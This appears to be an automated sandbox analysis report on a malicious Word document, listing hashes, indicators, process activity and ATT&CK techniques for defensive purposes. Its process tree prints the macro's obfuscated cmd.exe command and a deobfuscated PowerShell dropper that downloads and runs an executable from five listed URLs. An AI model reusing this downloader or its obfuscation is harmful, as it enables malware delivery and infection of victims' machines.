Analysis

  • max time kernel
    118s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    27-04-2022 02:39

General

  • Target

    jeamytie.doc

  • Size

    106KB

  • MD5

    30326e79afdba5026d51ab50b37939d2

  • SHA1

    b4b420c4a464d12f62b94c65aff4ba230c95f3f2

  • SHA256

    403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704

  • SHA512

    9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://amedion.net/uNMU39B

exe.dropper

http://biciculturabcn.com/6s97jYza

exe.dropper

http://valenetinternet.com.br/3Rdtv

exe.dropper

http://goshowcar.com/9RVqaX

exe.dropper

http://wheelbalancetraining.com/9il

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\jeamytie.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4784
    • C:\Windows\SYSTEM32\Cmd.exe
      Cmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4116

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3820-137-0x0000000000000000-mapping.dmp
  • memory/4116-140-0x00007FF8C8B60000-0x00007FF8C9621000-memory.dmp
    Filesize

    10MB

  • memory/4116-139-0x000002A9AAD60000-0x000002A9AAD82000-memory.dmp
    Filesize

    136KB

  • memory/4116-138-0x0000000000000000-mapping.dmp
  • memory/4784-133-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-135-0x00007FF8B2D30000-0x00007FF8B2D40000-memory.dmp
    Filesize

    64KB

  • memory/4784-136-0x00007FF8B2D30000-0x00007FF8B2D40000-memory.dmp
    Filesize

    64KB

  • memory/4784-134-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-130-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-132-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-131-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-142-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-144-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-143-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB

  • memory/4784-145-0x00007FF8B5630000-0x00007FF8B5640000-memory.dmp
    Filesize

    64KB